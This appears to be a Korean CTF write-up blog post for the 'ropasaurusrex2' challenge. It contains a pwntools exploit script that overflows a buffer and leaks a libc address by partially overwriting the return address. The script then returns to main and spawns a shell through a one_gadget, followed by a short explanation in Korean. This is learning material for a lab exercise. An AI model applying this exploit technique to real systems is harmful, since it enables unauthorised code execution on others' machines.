from pwn import *
#p = process('./ropasaurusrex2')
p = remote('ctf.dimigo.hs.kr', 42323)
e = ELF('.//ropasaurusrex2')
context.log_level="debug"
l_of=0x20816
payload = 'a' * 0x30 + 'b' * 7 + 'c'
payload += chr(0x16)
pause()
p.send(payload)
p.recvuntil('c')
libc = u64(p.recv().ljust(8,'\x00')) - 0x20816
payload = 'a' * 0x30 + 'b' * 8
payload += p64(libc + 0x45216)
p.send(payload)
p.interactive()
libc릭을 할 수는 있는데 입력을 받은 뒤에 프로그램이 바로 죽어버리는 문제가 있다. 이 것을 해결하기 위해서는 ret의 주소가 libc안의 주소이기 때문에 ret의 하위 1바이트를 0x16으로 변경함으로서 main으로 돌아가는 것이 가능하다. main으로 다시 돌아가 입력을 받아서 one_gadget을 이용한 익스를 따면 된다.
'CTF write-up' 카테고리의 다른 글
Tokyo Western CTF 2017 - Parrot (0) | 2019.10.02 |
---|---|
[hackingcamp2019]bonus (0) | 2019.08.25 |
[hackingcamp2019] (0) | 2019.08.25 |
[hackingcamp2019]camp_note (0) | 2019.08.25 |
[dimi_ctf]ezheap (0) | 2019.07.15 |